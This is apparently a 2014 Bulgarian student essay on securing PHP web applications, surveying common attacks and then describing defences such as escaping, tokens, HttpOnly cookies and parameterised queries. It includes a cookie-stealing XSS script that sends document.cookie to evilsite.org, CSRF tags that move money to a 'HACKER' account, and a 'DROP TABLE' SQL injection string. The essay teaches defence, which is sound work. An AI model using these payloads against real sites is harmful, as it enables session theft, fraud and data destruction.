езикът е с прост и интуитивен синтаксис за такива разработчици  PHP е широко разпространен поради простотата си. Има много програмисти, което води до по-евтино платен персонал във фирмите, по ниска цена на приложенията за клиентите и още по-голяма използваемост. Поддръжката за PHP разработчици е гарантирана от множеството форуми и приложения на общността.  По аналогия с Perl към стандартните класове на PHP могат да бъдат писани и много допълнителни модули PHP поддрържа следните системи за управление на бази от данни: IBM DB2 - formix — Ingres, MS SQL, mSQL, MySQL, Oracle, PostgreSQL, Sybase.
  • 4. Защита при създаване на PHP-приложения в Интернет 2014 4 Енис Исмаил, 12109 2. Нужда от защита на уеб- приложенията. Логиката на съвременния бизнес е тясно свързана с обработката на конфиденциална информация, в това число и такава, която е достъпна чрез Интернет. Потенциален достъп до тайните на компанията може да се получи даже през обикновен браузър. От уеб-приложенията се изисква да съответстват на стандартите за безопасност (PCI DSS, NIST и др.), международните критерии (ISO/IEC 27005:2008, ITIL, COBIT и др.) и законодателните норми и става ясна необходимостта от провеждане на редовен анализ на защитеността. Въпреки всички направени анализи често се случва, уеб-приложението да е уязвимо към определен вид атаки. В настоящият реферат ще бъдат описани най-често срещаните атаки към уеб-приложенията. 3. Видове атаки, насочени към PHP уеб- приложенията. 3.1. Семантични атаки. Любопитството увеличава мотивацията при много атаки и семантичните атаки са един от най-добрите примери за това. Те представляват модифициране на URL с цел получаване на данни, до които потребителят не би трябвало да има достъп. Например, ако на потребителят е изпратен линк www.domain.com/view_invoice.php?id=1000523, то той вижда, че неговата фактура е с уникалн номер 1000523 и може да се предположи, че той ще опита да достъпи чужди фактури, заменяйки своя уникален номер с други произволни номера (например 1000242) в същата връзка (URL). Този тип атаки се използват предимно при предаване на параметри чрез GET метода, но модификации са възможни и през POST метода.
  • 5. Защита при създаване на PHP-приложения в Интернет 2014 5 Енис Исмаил, 12109 3.2. Атаки чрез качване на файлове. Понякога разработчиците искат да дадат възможност за качване на файлове в допълнение към стандартните форми за работа с данни. Понеже файловете не се изпращат по същият начин, както данните от формите, има нужда от конкретен вид кодиране - multipart/form-data: <form action="upload.php" method="POST" enctype="multipart/form-data"> По този начин потребителят може и да качва файлове на сървъра. Най-често се качват документи, картинки, видео. Но ако получените данни не се валидират правилно, атака може да бъде осъществена чрез качване на PHP файл. Така потребителят може да пусне за изпълнение свой собствен PHP скрипт като просто качи файла на сървъра и после го стартира чрез съответното URL. Съвсем скоро такава „дупка” в сигурността имаше в една от популярните теми за WordPress. 3.3. Грешки при контрола за достъп. Грешки при контрола за достъп могат да доведат до сериозни проблеми за уеб-приложението. Изразяват се най-често с грешно зададени привилегии за определени папки или файлове. Ако привилегиите са зададени грешно, потребителят може да изпълни скриптове или да прочита информацията, записана в някои важни за системата файлове. Възможно е повторно пускане на install скриптове, прочитане на конфигурационни файлове и т.н. Например в системата Magento информацията за достъп до базата от данни е записана във файла local.xml, който се намира в папка /app/etc. Ако този файл е публично достъпен, то всеки би могъл да види потребителското име и паролата за базата от данни, която се използва: <resources> <db> <table_prefix><![CDATA[ms]]></table_prefix> </db> <default_setup> <connection> <host><![CDATA[localhost]]></host> <username><![CDATA[shop_production]]></username> <password><![CDATA[g8a6qdGD]]></password> <dbname><![CDATA[magento_store]]></dbname> </connection> </default_setup> </resources>
  • 6. Защита при създаване на PHP-приложения в Интернет 2014 6 Енис Исмаил, 12109 3.4. XSS атаки XSS (Cross-site scripting) атаките са едни от най-познатите видове атаки. Способни са да поразят уеб-приложения от всички платформи, и PHP уеб- приложенията със сигурност не са изключение. Всяко приложение, което приема входни данни от потребителите си е под риск – уеб-базирани имейл приложения, форуми, книги за гости, блогове. Ако тези входящи данни не са филтрирани подходящо, уязвимостта към XSS атаки съществува. Нека вземем за пример уеб- приложение, в което могат да се пишат потребителски коментари. Най-често се въвежда име или псевдоним на автора и самият коментар. Но какво би станало, ако в полето за коментар бъде записан следният код: <script> document.location = 'http://evilsite.org/steal.php?cookies=' + document.cookie </script> Ако този „коментар” бъде успешно записан и след това визуализиран на съответната страница, това би означавало, че без да искаме сме „позволили” да вмъкнат зловреден JavaScript код в приложението. Всички потребители, които посетят страницата ще изпращат информацията, записана в техните бисквитки (cookies) към чужд сайт (в случая evilsite.org), където тази информация може да
  • 7. Защита при създаване на PHP-приложения в Интернет 2014 7 Енис Исмаил, 12109 бъде записвана с цел по-нататъшно използване. Това е често срещана грешка, разпространила се от лоши навици в разработването на уеб-приложения, за жалост превърнали се в обща практика. 3.5. Brute-Force атаки и Dictionary атаки Brute-force е атака, при която атакуващият изпраща множество заявки към сървъра с различни комбинации от име и парола, с цел да „налучка“ някоя правилна комбинация. Най-често на атака са изложени потребителски имена като „admin“, „administrator“, „root“ и т.н. По този начин атакуващият се опитва да получи достъп до даден защитен ресурс, без да използва пробив в сигурността. Brute-force атаките се използват за намиране на сравнително къси и прости по сложност пароли. За по-сложни пароли, включващи думи с определено значение и т.н., се използват Dictionary атаките. Принципът е подобен на brute- force атаките, но за целта се използват речници с често използвани пароли, думи и др.
  • 8. Защита при създаване на PHP-приложения в Интернет 2014 8 Енис Исмаил, 12109 3.6. Отĸpaдвaнe нa cecия (session hijacking) Открадването на сесия е вид атака, чрез която хакерът използва валидна сесия и чрез нея получава достъп до сесията на друг потребител. Когато някой се впише в уеб-приложението се създава файл (наричан сесия) на сървъра за съответния потребител, която съдържа определена информация с цел избягването на многократно вписване в системата при всяка нова заявка. Сървърът използва уникален идентификатор за сесията, чрез който се разпознава коя сесия на кой потребител принадлежи. След получаване на достъп до идентификатор на сесията на клиента, хакерът го инжектира в своя браузър и по този начин излъгва сървъра, че той всъщност е другият клиент (жертвата).
  • 9. Защита при създаване на PHP-приложения в Интернет 2014 9 Енис Исмаил, 12109 Идентификаторът на сесия може да бъде получен по няколко начина: a) Чрез предсказване. Това е възможно, ако уеб-приложението използва поредни числа вместо произволни низове за идентификатор. b) Чрез “подслушване” на комуникационния канал. Идентификаторът бива прехвърлян многократно между сървъра и потребителя. Чрез подслушване на комуникационния канал хакера може да прихване изпращаните пакети и да научи идентификатора. Най-често това става възможно, ако хакерът е в същата локална мрежа, където е клиента или ако хакерът по някакъв начин има достъп до данните, разменяни между клиента и сървъра. c) Чрез фиксиране на идентификатора на сесията. Хакерът изпраща на жертвата линк, в който е указан валиден идентификатор, създаден по-рано от самият хакер. По този начин жертвата се вписва с този идентификатор, който всъщност се знае от хакера, например www.website.com/login.php?PHPSESSID=1234 Друг начин за фиксиране на сесия е чрез промяна стойността на идентификатора в бисквитката, където той се съхранява в браузъра на жертвата. Това е възможно чрез някакъв зловреден JavaScript код, например document.cookie=”PHPSESSID=1234”.
  • 10. Защита при създаване на PHP-приложения в Интернет 2014 10 Енис Исмаил, 12109 3.7. Фалшификати на заявки (CSRF). CSRF (Cross-site request forgery) е вид атака, чрез която клиентът без да знае изпраща заявки към друг сайт. Ако той е вписан в системата, то заявката ще бъде изпълнена, тъй като тя би изглеждала напълно валидна. С този вид атаки се цели основно смяна на имейл, на домашен адрес, на парола, закупуване на определен продукт, изпращане на пари или бонус точки. Пример: Иван иска да да изпрати $100 на Петър чрез уеб-приложението на своята банка. Ако уеб-приложението на банката не е подсигурено добре, заявката може да изглежда по следният начин: http://bank.com/transfer.do?acct=PETARPETROV&amount=100
  • 11. Защита при създаване на PHP-приложения в Интернет 2014 11 Енис Исмаил, 12109 Вече знаем, че ако някой се е вписал в системата на банката, то той може да изпрати пари на някой като директно изпрати подобна заявка към сървъра. Целта на хакера в случая ще е някак да вмъкне линк с тази заявка в една от страниците на уеб-приложението. Най-често за целта се използва HTML елементи като anchor, img, iframe или script, а самото вмъкване на елемента става чрез XSS атака. Нека предположим, че хакерът е успял някак да вмъкне следният код в страницата на уеб-приложението: <a href="http://bank.com/transfer.do?acct=HACKER&amount=1000">Виж тази картинка!</a> или <img src="http://bank.com/transfer.do?acct=HACKER&amount=1000" width="1" height="1" border="0"> Ако клиентът, който достъпва страница с такъв код е вписан в уеб- приложението на банката, то той с всяко посещаване на заразената страница ще изпраща съответната заявка и ще прави парични трансфери към сметката, която е указана във връзката (в случая HACKER).
  • 12. Защита при създаване на PHP-приложения в Интернет 2014 12 Енис Исмаил, 12109 3.8. SQL инжектиране. SQL инжектирането е техника за атакуване на приложения, използващи SQL бази от данни, чрез вмъкване на злонамерени SQL команди в заявките, генерирани от приложението. Най-често SQL инжектирането се използва за постигане на следните неща:  Прочитане на данни  Промяна на данни (запис, модифициране, изтриване)  Изпълняване на администраторски операции на базата от данни, например спиране (shutdown) на цялата БД. Пример: В уеб-приложението има възможност за търсене на студенти по факултетен номер. Заявката е следната: $query = “SELECT * FROM students WHERE fnum = '$query'”; Очаква се клиентът да въведе някакъв факултетен номер за търсене, например 086012. В такъв случай заявката, която ще бъде изпълнена ще бъде: SELECT * FROM students WHERE fnum = 086012
  • 13. Защита при създаване на PHP-приложения в Интернет 2014 13 Енис Исмаил, 12109 Клиентът ще получи успешно информация за студента с този факултетен номер. Но нека предположим, че в полето за въвеждане на факултетен номер е въведен низ като “1; DROP TABLE students”. В такъв случай заявката, която ще бъде изпълнена ще е: SELECT * FROM students WHERE fnum = 1; DROP TABLE students; При изпълняване на тази заявка цялата таблица students ще бъде изтрита. 3.9. Атаки за отказ на услуга (DDoS атаки). Атака за отказ на услуга е опит даден ресурс, предоставян от компютър (наричан жертва), да бъде направен недостъпен за целевите му потребители. Обикновено жертви на такива атаки стават популярни уеб сървъри, като целта е те да станат недостъпни от Интернет. DDoS атаките биват два основни вида:  Принуждаване на жертвата да се рестартира или да потреби всичките си ресурси, така че вече да не може да предоставя целевата услуга;  Възпрепятстване на комуникацията между жертвата и целевите потребители на услугата, така че те вече да не могат да я достъпват адекватно.
  • 14. Защита при създаване на PHP-приложения в Интернет 2014 14 Енис Исмаил, 12109 4. Начини за защита от атаки. 4.1. Семантични атаки. Единственият начин за предотвратяване на такъв тип атаки са допълнителните проверки за това дали потребителят има право да получи (или запише) съответната информация. Друг вариант е използването на достатъчно дълги и трудни за отгатване идентификационни низове, но този метод е подходящ само за някои видове заявки. Той може да се използва при показване на данни, които се извличат чрез уникален номер, но не могат да се използват например при изпращане на имейл адрес или потребителско име с цел получаване на забравена парола. 4.2. Атаки чрез качване на файлове. Един от най-добрите начини за предпазване от този тип атаки е да бъдат позволени за качване само файлове с определени разширения като jpg, jpeg, gif, png, pdf, doc, docx и т.н. Също така може да се ограничи и размера на качваните файлове като това става чрез конфигурационната директива upload_max_filesize. Когато се качва даден файл, то той първоначално се запазва на временно място на сървъра. Преди да се запази окончателно на файловата система на сървъра, може да бъде проверявано дали има съответствие между временния файл и получената за файла информация, например: $filename = $_FILES['attachment']['tmp_name']; if (is_uploaded_file($filename)) { /* $_FILES['attachment']['tmp_name'] е каченият файл */ }
  • 15. Защита при създаване на PHP-приложения в Интернет 2014 15 Енис Исмаил, 12109 4.3. Грешки при контрола за достъп. Повечето от популярните системи имат инструкции за инсталация, в които са указани и съответните настройки за сървъра. Подробно е описано кои файлове или папки трябва да бъдат изтрити след успешна инсталация, кои папки трябва да са публични и кои не и т.н. Но ако приложението се разработва от начало, то самите разработчици трябва добре да помислят, когато настройват привилегиите за отделните папки и файлове. Също така за конкретни папки, файлове или всички файлове с дадено разширение може да бъде използван .htaccess файл и достъпът да бъде забранен. Например: Order deny,allow Deny from all Командата Deny from all ще забрани публичният достъп до всички файлове в папката, където се намира .htaccess файлът. Тази забрана ще важи и за всички файлове в подпапките, освен ако и там няма друг .htaccess файл, чрез който да се премахне забраната от по-горно ниво. 4.4. XSS атаки. XSS атаките могат да доведат до големи проблеми, но за щастие са лесни за предотвратяване. Единственото, което трябва да се направи е получените данни да се филтрират подходящо преди записването им в базата от данни. Най-малкото нещо, което може да се направи, е да се ползват вградените в PHP функции като htmlentities и htmlspecialchars за екраниране, тоест замяна на специалните символи като <, >, & с HTML единици - &lt;, &gt;, &amp;. Ако разгледаме конкретният пример, даден в точка 3.4., то можем да зададем бисквитките да не могат да се използват чрез JavaScript код чрез флага HttpOnly. Това може да стане във файла php.ini: session.cookie_httponly = True или чрез задаване на положителна стойност на последния параметър на метода setcookie() в PHP скрипта.
  • 16. Защита при създаване на PHP-приложения в Интернет 2014 16 Енис Исмаил, 12109 4.5. Brute-Force атаки и Dictionary атаки. Първото и основно правило за защита срещу този тип атаки е да се използват колкото се може по-сложни пароли. Обикновено тези атаки изпробват набор от речникови думи, имена и цифри. Независимо колко стриктна и добра политика използваме за паролите, не бихме искали да позволим някой да изпробва стотици комбинации от имена и пароли върху системата. Най-малкото не сме сигурни дали някой от потребителите не използва лесна за разгадаване парола. За целта най-често се използва Captcha и лимитиране на броя заявки от даден IP адрес за определен период от време, след което този IP адрес се блокира за определен период от време. Възможно е също достъпа до някои акаунти да се фиксира по IP адрес, но това е приемливо само за администраторските акаунти. Няма как да спрем напълно този тип атаки, но чрез гореспоменатите решения можем достатъчно да ограничим заявките, изпращани към сървъра. 4.6. Отĸpaдвaнe нa cecия (session hijacking). Има няколко начина за предотвратяване на този тип атака:  Използване на криптирана връзка между клиента и сървъра чрез SSL (Secure Socket Layer);  Подновяване на идентификатора на сесията по-често. По този начин дори и да бъде откраднат идентификатора на сесията, той ще бъде непотребен след определен период от време;  Сравняване на IP адреса или User Agent информацията на клиента;  Използване на HttpOnly бисквитки. По този начин може да бъде предотвратено фиксирането на чужд идентификатор чрез зловреден код, но все още е възможно идентификатора да бъде научен чрез подслушване на канала за комуникация.
  • 17. Защита при създаване на PHP-приложения в Интернет 2014 17 Енис Исмаил, 12109 4.7. Фалшификати на заявки (CSRF). Най-често срещаният начин за предотвратяване на този вид атаки е използване на уникални ключове (token), които се намират във формата и по- късно се сравняват със съответния ключ на сървъра. При директно изпращане на заявка не чрез форма, а чрез директно URL, този уникален ключ ще липсва и заявката няма да бъде изпълнена. Също така, когато става на въпрос за уеб-приложения, при които са възможни покупки, трансфер на пари и други, е добре клиентът да бива принуден да въведе парола наново. Повторно въвеждане на парола може да бъде заменено и с Captcha. По този начин със сигурност се знае, че клиентът активно участва в съответната операция. Пример за уеб-приложения, използващи този подход са повечето банкови системи за е-банкиране, Amazon, Ebay и др. 4.8. SQL инжектиране. Има множество начини за предотвратяване на SQL инжектиране, като най- удачно е да бъде използвана комбинация от тях. Най-познатите са:  Използване на параметрични заявки, където структурата на заявката е отделена от подаваните параметри. За целта се използва PDO разширението.  Използване на процедури, като параметрите се подават отделно.  Екранизиране на всички входни данни, използвани в заявките.  Валидиране на данните, преди да бъдат използвани в заявките.  Ограничаване на привилегиите за използване на БД за всеки акаунт.
  • 18. Защита при създаване на PHP-приложения в Интернет 2014 18 Енис Исмаил, 12109 4.9. Атаки за отказ на услуга (DDoS атаки). Предотвратяването на DDoS атаки е сравнително трудна задача и може да струва скъпо. Като цяло няма техники, които със сигурност да успеят да спрат този тип атаки, но се използват някои методи, които помагат в голяма степен. Най-лесният начин за предотвратяване на DDoS атаките е наличието на достатъчно сървърни ресурси. По този начин уеб-приложението няма да бъде „блокирано” от множеството заявки. Но проблемът е, че не винаги можем да заделим достатъчно ресурси, а и тяхното наемане би струвало прекалено скъпо. Осигуряването на допълнителни ресурси може да помогне при по-нискомащабни DDoS атаки. Друг начин за предпазване от този тип атаки е използването на хардуерни защитни стени, които да филтрират трафика, още преди да е стигнал до сървъра. 5. Изводи. Основният извод, до който можем да стигнем чрез този реферат, е че не съществуват ясни и точни методи за предотвратяване на всички видове атаки към уеб-приложенията. Всяко едно уеб-приложение може да бъде уязвимо във всеки един момент и задачата на разработчиците е постоянно да надграждат техниките за защита на приложенията, които разработват, тъй като с всеки изминал ден на бял свят се появяват нови или подобрени версии на старите атаки. Въпреки че в настоящият реферат са упоменати едни от най-често срещаните видове атаки, съществуват още много други известни и не дотолкова известни такива. При допълнителен интерес към темата, могат да бъдат прочетени и предишни разработки на студенти от Икономически университет - Варна. Антон Шумански: http://www.slideshare.net/antonshumanski/php-18364826 Валентин Атанасов: http://www.slideshare.net/ssuser5fc05e/fn10882
  • 19. Защита при създаване на PHP-приложения в Интернет 2014 19 Енис Исмаил, 12109 Източници  Често срещани уязвимости в web приложенията, Георги Чорбаджийски  Как да защитим уеб приложенията: предотвратяване на атаки и пробойни  Semantic URL Attack  Essential PHP Security, Chris Shiflett  OWASP Top Ten Project 2013  Защита от brute force атаки, Филип Петров, 2008  Session Hijacking, Joshua Kissoon, 2011  SQL Injection In-Depth: Attacks and Prevention Methods, Joshua Kissoon, 2013  Cross-Site Request Forgery (CSRF), OWASP, 2013)  Атака за отказ на услуга, Уикипедия